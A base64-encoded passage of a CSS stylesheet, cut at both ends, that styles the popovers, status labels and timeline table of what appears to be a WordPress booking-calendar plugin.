GFkb3c6IG5vbmU7XHJcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcclxuICBwYWRkaW5nOiAycHggMCAwIDVweDtcclxuICB0ZXh0LWFsaWduOiByaWdodDtcclxuICBjb2xvcjogIzc3N1xyXG59XHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lIC5wb3BvdmVyIC5wb3BvdmVyLXRpdGxlIHtcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcclxuICBtaW4taGVpZ2h0OiAyLjVlbTtcclxuICBtYXJnaW46IDA7XHJcbiAgcGFkZGluZzogNXB4IDMwcHggNXB4IDZweDtcclxuICBib3JkZXItcmFkaXVzOiA1cHggNXB4IDAgMDtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjdmN2Y3XHJcbn1cclxuLmZsZXhfdGltZWxpbmVfZnJhbWUgLnBvcG92ZXIgLnBvcG92ZXItdGl0bGUgLnBvcG92ZXItdGl0bGUtaWQge1xyXG4gIC1tcy1mbGV4OiAwIDAgYXV0bztcclxuICBmbGV4OiAwIDAgYXV0bztcclxuICB3aWR0aDogMTAwJTtcclxuICBmb250LXNpemU6IDE0cHg7XHJcbiAgZm9udC13ZWlnaHQ6IDUwMDtcclxuICBsaW5lLWhlaWdodDogMS44O1xyXG4gIG1hcmdpbjogMDtcclxuICBwYWRkaW5nOiAwIDEycHggMCA1cHg7XHJcbiAgYm9yZGVyOiAwO1xyXG4gIHZlcnRpY2FsLWFsaWduOiBiYXNlbGluZVxyXG59XHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lIC5wb3BvdmVyIC5wb3BvdmVyLXRpdGxlIC5wb3BvdmVyLXRpdGxlLWJ1dHRvbnMge1xyXG4gIC1tcy1mbGV4OiAxIDEgYXV0bztcclxuICBmbGV4OiAxIDEgYXV0bztcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIG1hcmdpbjogMnB4IDBcclxufVxyXG4uZmxleF90aW1lbGluZV9mcmFtZSAucG9wb3ZlciAucG9wb3Zlci10aXRsZSAucG9wb3Zlci10aXRsZS1idXR0b25zIGEsXHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lIC5wb3BvdmVyIC5wb3BvdmVyLXRpdGxlIC5wb3BvdmVyLXRpdGxlLWJ1dHRvbnMgYTpmb2N1cyxcclxuLmZsZXhfdGltZWxpbmVfZnJhbWUgLnBvcG92ZXIgLnBvcG92ZXItdGl0bGUgLnBvcG92ZXItdGl0bGUtYnV0dG9ucyBhOmhvdmVyIHtcclxuICAtbXMtZmxleDogbm9uZTtcclxuICBmbGV4OiBub25lO1xyXG4gIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XHJcbiAgbWFyZ2luOiAwIDVweCAwIDA7XHJcbiAgcGFkZGluZzogMCAxMHB4IDFweDtcclxuICBmb250LXNpemU6IDEzcHg7XHJcbiAgaGVpZ2h0OiAyOHB4O1xyXG4gIGxpbmUtaGVpZ2h0OiAyOHB4O1xyXG4gIHdoaXRlLXNwYWNlOiBub3dyYXA7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xyXG4gIGN1cnNvcjogcG9pbnRlcjtcclxuICAtd2Via2l0LWFwcGVhcmFuY2U6IG5vbmU7XHJcbiAgY29sb3I6ICM1NTU7XHJcbiAgYmFja2dyb3VuZDogI2Y3ZjdmNztcclxuICBib3JkZXItcmFkaXVzOiAzcHg7XHJcbiAgYm9yZGVyOiAxcHggc29saWQgI2Q4ZDhkODtcclxuICBib3gtc2hhZG93OiBub25lO1xyXG4gIG91dGxpbmU6IDBcclxufVxyXG4uZmxleF90aW1lbGluZV9mcmFtZSAucG9wb3ZlciAucG9wb3Zlci10aXRsZSAucG9wb3Zlci10aXRsZS1idXR0b25zIGE6aG92ZXIge1xyXG4gIGJhY2tncm91bmQ6ICNmYWZhZmE7XHJcbiAgYm9yZGVyLWNvbG9yOiAjY2NjO1xyXG4gIGNvbG9yOiAjMjMyODJkXHJcbn1cclxuLmZsZXhfdGltZWxpbmVfZnJhbWUgLnBvcG92ZXIgLnBvcG92ZXItdGl0bGUgLnBvcG92ZXItdGl0bGUtYnV0dG9ucyAud3BiYy1idXR0b25zLXNlcGFyYXRvciB7XHJcbiAgbWFyZ2luLXJpZ2h0OiAxLjVlbVxyXG59XHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lIC5wb3BvdmVyIC5wb3BvdmVyLWNsb3NlLFxyXG4uZmxleF90aW1lbGluZV9mcmFtZSAucG9wb3ZlciAucG9wb3Zlci1jbG9zZTpob3ZlciB7XHJcbiAgcG9zaXRpb246IGFic29sdXRlO1xyXG4gIHJpZ2h0OiAwO1xyXG4gIHRvcDogMDtcclxuICBmb250LXNpemU6IDIwcHg7XHJcbiAgbGluZS1oZWlnaHQ6IDEuNWVtO1xyXG4gIHBhZGRpbmc6IDVweFxyXG59XHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lIC5wb3BvdmVyIC5wb3BvdmVyLWNsb3NlIGEsXHJcbi5mbGV4X3RpbWVsaW5lX2ZyYW1lIC5wb3BvdmVyIC5wb3BvdmVyLWNsb3NlIGE6YWN0aXZlLFxyXG4uZmxleF90aW1lbGluZV9mcmFtZSAucG9wb3ZlciAucG9wb3Zlci1jbG9zZSBhOmZvY3VzLFxyXG4uZmxleF90aW1lbGluZV9mcmFtZSAucG9wb3ZlciAucG9wb3Zlci1jbG9zZSBhOmhvdmVyIHtcclxuICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XHJcbiAgYm9yZGVyLXN0eWxlOiBub25lO1xyXG4gIG91dGxpbmU6IDA7XHJcbiAgY29sb3I6ICM0NDQ7XHJcbiAgYmFja2dyb3VuZDogMCAwO1xyXG4gIHBhZGRpbmc6IDAgNXB4XHJcbn1cclxuLmZsZXhfdGltZWxpbmVfZnJhbWUgLnBvcG92ZXIuYm90dG9tID4gLmFycm93OjphZnRlciB7XHJcbiAgYm9yZGVyLWJvdHRvbS1jb2xvcjogdHJhbnNwYXJlbnRcclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIHtcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IGNvbHVtbiB3cmFwO1xyXG4gIGZsZXgtZmxvdzogY29sdW1uIHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazoganVzdGlmeTtcclxuICBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW5cclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC5mbGV4LXBvcG92ZXItYmFycyxcclxuLnBvcG92ZXItY29udGVudCAud3BiYy1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuYm9va2luZy1kYXRlcyxcclxuLnBvcG92ZXItY29udGVudCAud3BiYy1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuYm9va2luZy1sYWJlbHMsXHJcbi5wb3BvdmVyLWNvbnRlbnQgLndwYmMtcG9wb3Zlci1jb250ZW50LWRhdGEgLndwYmMtcG9wb3Zlci1ib29raW5nLWRhdGEsXHJcbi5wb3BvdmVyLWNvbnRlbnQgLndwYmMtcG9wb3Zlci1jb250ZW50LWRhdGEgLndwYmMtcG9wb3Zlci1ib29raW5nLW5vdGVzLFxyXG4ucG9wb3Zlci1jb250ZW50IC53cGJjLXBvcG92ZXItY29udGVudC1kYXRhIC53cGJjLXBvcG92ZXItY29zdC1iYXIge1xyXG4gIC1tcy1mbGV4OiAxIDEgYXV0bztcclxuICBmbGV4OiAxIDEgYXV0b1xyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtcG9wb3Zlci1iYXJzIHtcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyBub3dyYXA7XHJcbiAgZmxleC1mbG93OiByb3cgbm93cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IGp1c3RpZnk7XHJcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuXHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1wb3BvdmVyLWJhcnMgLmZsZXgtcG9wb3Zlci1sYWJlbHMtYmFyIHtcclxuICAtbXMtZmxleDogMSAxIDBweDtcclxuICBmbGV4OiAxIDEgMDtcclxuICBjbGVhcjogYm90aFxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtcG9wb3Zlci1iYXJzIC5mbGV4LXBvcG92ZXItY29zdC1iYXIge1xyXG4gIC1tcy1mbGV4OiBub25lO1xyXG4gIGZsZXg6IG5vbmU7XHJcbiAgcGFkZGluZzogLjNlbSAwO1xyXG4gIG1hcmdpbjogMFxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtcG9wb3Zlci1sYWJlbHMtYmFyIHtcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1wb3BvdmVyLWxhYmVscy1iYXIgLmZsZXgtbGFiZWwge1xyXG4gIC1tcy1mbGV4OiAwIDEgYXV0bztcclxuICBmbGV4OiAwIDEgYXV0bztcclxuICBtaW4td2lkdGg6IDBcclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC5mbGV4LWxhYmVsIHtcclxuICBib3JkZXI6IDA7XHJcbiAgYm9yZGVyLXJhZGl1czogM3B4O1xyXG4gIHRleHQtc2hhZG93OiBub25lO1xyXG4gIGJveC1zaGFkb3c6IDAgMCAxcHggI2RkZDtcclxuICBmb250LXdlaWdodDogNDAwO1xyXG4gIGZvbnQtc2l6ZTogOTUlO1xyXG4gIGxpbmUtaGVpZ2h0OiAxLjdlbTtcclxuICBwYWRkaW5nOiAuMmVtIC44ZW07XHJcbiAgYmFja2dyb3VuZC1jb2xvcjogIzViYzBkZTtcclxuICBjb2xvcjogI2ZmZjtcclxuICB0ZXh0LWFsaWduOiBjZW50ZXI7XHJcbiAgdmVydGljYWwtYWxpZ246IGJhc2VsaW5lO1xyXG4gIG1hcmdpbjogLjE1ZW0gLjc1ZW0gLjVlbSAwO1xyXG4gIHdvcmQtd3JhcDogYnJlYWstd29yZDtcclxuICB3b3JkLXdyYXA6IGFueXdoZXJlO1xyXG4gIHdoaXRlLXNwYWNlOiBwcmUtd3JhcFxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtbGFiZWwgLmxhYmVsLXByZWZpeCB7XHJcbiAgZm9udC1zaXplOiA3MCU7XHJcbiAgZm9udC13ZWlnaHQ6IDQwMFxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtbGFiZWwuZmxleC1sYWJlbC1pZCB7XHJcbiAgYmFja2dyb3VuZDogIzg4OFxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtbGFiZWwuZmxleC1sYWJlbC1ib29raW5nLXN0YXR1cy5sYWJlbC1wZW5kaW5nIHtcclxuICBiYWNrZ3JvdW5kOiAjZmZiYjQ1XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC5mbGV4LWxhYmVsLWJvb2tpbmctc3RhdHVzLmxhYmVsLWFwcHJvdmVkIHtcclxuICBiYWNrZ3JvdW5kOiAjOWJlXHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC5mbGV4LWxhYmVsLXBheW1lbnQucGF5bWVudC1sYWJlbC1zdWNjZXNzIHtcclxuICBiYWNrZ3JvdW5kOiAjNDY4ODQ3XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC5mbGV4LWxhYmVsLXBheW1lbnQucGF5bWVudC1sYWJlbC11bmtub3duIHtcclxuICBiYWNrZ3JvdW5kOiAjOTk5XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC5mbGV4LWxhYmVsLXRyYXNoIHtcclxuICBiYWNrZ3JvdW5kOiAjZDk0YTQ4XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC5mbGV4LWxhYmVsLXJlc291cmNlIHtcclxuICB0ZXh0LWFsaWduOiBsZWZ0XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC5mbGV4LWxhYmVsLWNvc3Qge1xyXG4gIGJhY2tncm91bmQ6IDAgMDtcclxuICBmb250LXdlaWdodDogNjAwO1xyXG4gIGNvbG9yOiAjMzMzO1xyXG4gIGJveC1zaGFkb3c6IG5vbmU7XHJcbiAgcGFkZGluZzogMDtcclxuICBtYXJnaW46IDBcclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC5mbGV4LXBvcG92ZXItYm9va2luZy1kYXRhIHtcclxuICBtYXJnaW46IDFlbSAwO1xyXG4gIHRleHQtYWxpZ246IGxlZnQ7XHJcbiAgZm9udC1zaXplOiAxLjA1ZW07XHJcbiAgbGluZS1oZWlnaHQ6IDEuOGVtO1xyXG4gIGNvbG9yOiAjMzMzO1xyXG4gIG1heC13aWR0aDogMTAwJTtcclxuICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XHJcbiAgd29yZC13cmFwOiBhbnl3aGVyZVxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtcG9wb3Zlci1ib29raW5nLWRhdGEgc3Bhbi5maWVsZHZhbHVlIHtcclxuICBiYWNrZ3JvdW5kOiAwIDA7XHJcbiAgcGFkZGluZzogMnB4O1xyXG4gIGJvcmRlci1yYWRpdXM6IDFweDtcclxuICBtYXJnaW46IDAgLjVlbSAwIDA7XHJcbiAgd29yZC1icmVhazogaW5pdGlhbDtcclxuICB3b3JkLXdyYXA6IGJyZWFrLXdvcmRcclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC5mbGV4LXBvcG92ZXItYm9va2luZy1kYXRhIGxhYmVsIHtcclxuICBmb250LXdlaWdodDogNjAwO1xyXG4gIHZlcnRpY2FsLWFsaWduOiBiYXNlbGluZVxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtcG9wb3Zlci1ib29raW5nLWRhdGEgKiB7XHJcbiAgdmVydGljYWwtYWxpZ246IGJhc2VsaW5lO1xyXG4gIGxpbmUtaGVpZ2h0OiAyZW1cclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC53cGJjLXBvcG92ZXItYm9va2luZy1ub3RlcyB7XHJcbiAgbWFyZ2luOiAwIDAgMWVtO1xyXG4gIG1heC13aWR0aDogMTAwJTtcclxuICB3b3JkLWJyZWFrOiBicmVhay13b3JkXHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC1kYXRlcyB7XHJcbiAgZGlzcGxheTogLW1zLWZsZXhib3g7XHJcbiAgZGlzcGxheTogZmxleDtcclxuICAtbXMtZmxleC1mbG93OiByb3cgd3JhcDtcclxuICBmbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIC1tcy1mbGV4LXBhY2s6IHN0YXJ0O1xyXG4gIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcclxuICAtbXMtZmxleC1hbGlnbjogc3RhcnQ7XHJcbiAgYWxpZ24taXRlbXM6IGZsZXgtc3RhcnRcclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC5mbGV4LWxhYmVsLWRhdGVzIC5mbGV4LWxhYmVsLmZpZWxkLWJvb2tpbmctZGF0ZSB7XHJcbiAgLW1zLWZsZXg6IDAgMSBhdXRvO1xyXG4gIGZsZXg6IDAgMSBhdXRvO1xyXG4gIGZvbnQtc2l6ZTogMTAzJTtcclxuICBwYWRkaW5nOiAuMWVtIC43ZW07XHJcbiAgbWFyZ2luOiAwIDAgLjJlbTtcclxuICBiYWNrZ3JvdW5kOiAjZmZiYjQ1XHJcbn1cclxuLnBvcG92ZXItY29udGVudCAuZmxleC1wb3BvdmVyLWNvbnRlbnQtZGF0YSAuZmxleC1sYWJlbC1kYXRlcyAuZGF0ZV90aXJlIHtcclxuICAtbXMtZmxleDogMCAxIGF1dG87XHJcbiAgZmxleDogMCAxIGF1dG87XHJcbiAgbWFyZ2luOiAwIC4yZW07XHJcbiAgZm9udC1zaXplOiAxNzUlO1xyXG4gIGxpbmUtaGVpZ2h0OiAxZW1cclxufVxyXG4ucG9wb3Zlci1jb250ZW50IC5mbGV4LXBvcG92ZXItY29udGVudC1kYXRhIC5mbGV4LWxhYmVsLWRhdGVzIC5mbGV4LWxhYmVsLmZpZWxkLWJvb2tpbmctZGF0ZSAuZmllbGQtYm9va2luZy10aW1lIHtcclxuICBmb250LXNpemU6IC43ZW07XHJcbiAgZm9udC13ZWlnaHQ6IDQwMDtcclxuICBjb2xvcjogIzIzMjgyZFxyXG59XHJcbi5wb3BvdmVyLWNvbnRlbnQgLmZsZXgtcG9wb3Zlci1jb250ZW50LWRhdGEgLmZsZXgtbGFiZWwtZGF0ZXMgLmZsZXgtbGFiZWwuZmllbGQtYm9va2luZy1kYXRlLmFwcHJvdmVkIHtcclxuICBiYWNrZ3JvdW5kOiAjOWJlXHJcbn1cclxuLnBvcG92ZXItY29udGVudCAud3BiY190bF9wb3BvdmVyX2Jvb2tpbmdfc2VwYXJhdG9yIHtcclxuICBtYXJnaW46IDIwcHggMDtcclxuICBib3JkZXItdG9wOiAxcHggc29saWQgI2RkZDtcclxuICBib3gtc2hhZG93OiAwIDFweCAxcHggI2Y5ZjlmOVxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIHtcclxuICBiYWNrZ3JvdW5kOiAjZmZmO1xyXG4gIGJvcmRlcjogMXB4IHNvbGlkICNkZGQ7XHJcbiAgYm94LXNoYWRvdzogMCAxcHggMnB4ICNlZWY7XHJcbiAgZm9udC1zaXplOiAxMnB4O1xyXG4gIGJvcmRlci1yYWRpdXM6IDRweCA0cHggMCAwXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIHtcclxuICBiYWNrZ3JvdW5kOiAwIDA7XHJcbiAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNkZmRmZGY7XHJcbiAgZm9udC1zaXplOiAxNXB4O1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDA7XHJcbiAgY29sb3I6ICM2MDYwNjA7XHJcbiAgdGV4dC1zaGFkb3c6IG5vbmU7XHJcbiAgbGluZS1oZWlnaHQ6IDNlbTtcclxuICBoZWlnaHQ6IDNlbTtcclxuICBvdmVyZmxvdzogaGlkZGVuO1xyXG4gIHBhZGRpbmctbGVmdDogMWVtO1xyXG4gIGJvcmRlci1yYWRpdXM6IDRweCA0cHggMCAwXHJcbn1cclxuLndwYmNfdGltZWxpbmVfZnJvbnRfZW5kIC5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX2hlYWRlciB7XHJcbiAgcGFkZGluZzogMCAycHhcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9oZWFkZXIgLmZsZXhfdGxfY29sbHVtbl8xLFxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9oZWFkZXIgLmZsZXhfdGxfY29sbHVtbl8yIHtcclxuICBmb250LXdlaWdodDogNjAwO1xyXG4gIHBhZGRpbmc6IDhweDtcclxuICBsaW5lLWhlaWdodDogMS40Mjg1NzE0M2VtXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMiB7XHJcbiAgdGV4dC1hbGlnbjogY2VudGVyXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9uYXYgLmZsZXhfdGxfbmV4dCxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9uYXYgLmZsZXhfdGxfcHJldiB7XHJcbiAgZm9udC1zaXplOiAyMnB4O1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDA7XHJcbiAgbGluZS1oZWlnaHQ6IDEycHg7XHJcbiAgY29sb3I6ICM3NzdcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9oZWFkZXIgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX25hdiAuZmxleF90bF9uZXh0IGEsXHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX2hlYWRlciAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfbmF2IC5mbGV4X3RsX25leHQgYTpob3ZlcixcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfaGVhZGVyIC5mbGV4X3RsX2NvbGx1bW5fMiAuZmxleF90bF9uYXYgLmZsZXhfdGxfcHJldiBhLFxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9oZWFkZXIgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX25hdiAuZmxleF90bF9wcmV2IGE6aG92ZXIge1xyXG4gIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcclxuICBjb2xvcjogIzc1NzU3NTtcclxuICBjdXJzb3I6IHBvaW50ZXJcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3Mge1xyXG4gIGJvcmRlci10b3A6IDFweCBzb2xpZCAjZGRkXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzOm50aC1vZi10eXBlKDJuKzEpIHtcclxuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjlmOWY5XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfdGl0bGVzIC5mbGV4X3RsX2NvbGx1bW5fMSB7XHJcbiAgZm9udC13ZWlnaHQ6IDYwMDtcclxuICBwYWRkaW5nOiAwIDAgMCA0cHg7XHJcbiAgbGluZS1oZWlnaHQ6IDEuNDI4NTcxNDNlbTtcclxuICBib3gtc2hhZG93OiBub25lXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yb3dfaGVpZ2h0IHtcclxuICBkaXNwbGF5OiAtbXMtZmxleGJveDtcclxuICBkaXNwbGF5OiBmbGV4O1xyXG4gIC1tcy1mbGV4LWZsb3c6IHJvdyB3cmFwO1xyXG4gIGZsZXgtZmxvdzogcm93IHdyYXA7XHJcbiAgLW1zLWZsZXgtcGFjazogc3RhcnQ7XHJcbiAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xyXG4gIC1tcy1mbGV4LWFsaWduOiBjZW50ZXI7XHJcbiAgYWxpZ24taXRlbXM6IGNlbnRlclxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3Jvd19ib29raW5ncyAuZmxleF90bF9jb2xsdW1uXzEgLmZsZXhfdGxfcmVzb3VyY2VfdGl0bGUsXHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzEge1xyXG4gIGNvbG9yOiAjOTk5O1xyXG4gIGZvbnQtd2VpZ2h0OiA0MDA7XHJcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcclxuICB3aGl0ZS1zcGFjZTogbm93cmFwXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yZXNvdXJjZV90aXRsZSBhIHtcclxuICBib3JkZXItYm90dG9tOiAwIGRhc2hlZDtcclxuICBjb2xvcjogIzc4OTtcclxuICB0ZXh0LXNoYWRvdzogbm9uZTtcclxuICBtYXJnaW46IDAgMCAwIDJweDtcclxuICBib3gtc2hhZG93OiBub25lO1xyXG4gIG91dGxpbmU6IDA7XHJcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lXHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yZXNvdXJjZV90aXRsZSBhOmFjdGl2ZSxcclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yZXNvdXJjZV90aXRsZSBhOmZvY3VzLFxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8xIC5mbGV4X3RsX3Jlc291cmNlX3RpdGxlIGE6aG92ZXIge1xyXG4gIHRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lO1xyXG4gIC13ZWJraXQtdGV4dC1kZWNvcmF0aW9uLXN0eWxlOiBkYXNoZWQ7XHJcbiAgdGV4dC1kZWNvcmF0aW9uLXN0eWxlOiBkYXNoZWQ7XHJcbiAgdGV4dC1kZWNvcmF0aW9uLXRoaWNrbmVzczogMXB4O1xyXG4gIHRleHQtdW5kZXJsaW5lLW9mZnNldDogM3B4XHJcbn1cclxuLmZsZXhfdGxfdGFibGUgLmZsZXhfdGxfdGFibGVfcm93X2Jvb2tpbmdzIC5mbGV4X3RsX2NvbGx1bW5fMSAuZmxleF90bF9yZXNvdXJjZV90aXRsZS5wYXJlbnQge1xyXG4gIGZvbnQtd2VpZ2h0OiA2MDBcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV9yb3dfYm9va2luZ3MgLmZsZXhfdGxfY29sbHVtbl8xIC5mbGV4X3RsX3Jlc291cmNlX3RpdGxlLmNoaWxkIHtcclxuICBtYXJnaW4tbGVmdDogMjBweFxyXG59XHJcbi5mbGV4X3RsX3RhYmxlIC5mbGV4X3RsX3RhYmxlX3RpdGxlcyAuZmxleF90bF9jb2xsdW1uXzIgLmZsZXhfdGxfZGF0ZXNfYmFyIC5mbGV4X3RsX2RheV9jZWxsIHtcclxuICBib3JkZXItbGVmdDogMXB4IHNvbGlkICNlZWVcclxufVxyXG4uZmxleF90bF90YWJsZSAuZmxleF90bF90YWJsZV90aXRsZXMgLmZsZXhfdGxfY29sbHVtbl8yIC5mbGV4X3RsX2RhdGVzX2JhciAuZmxl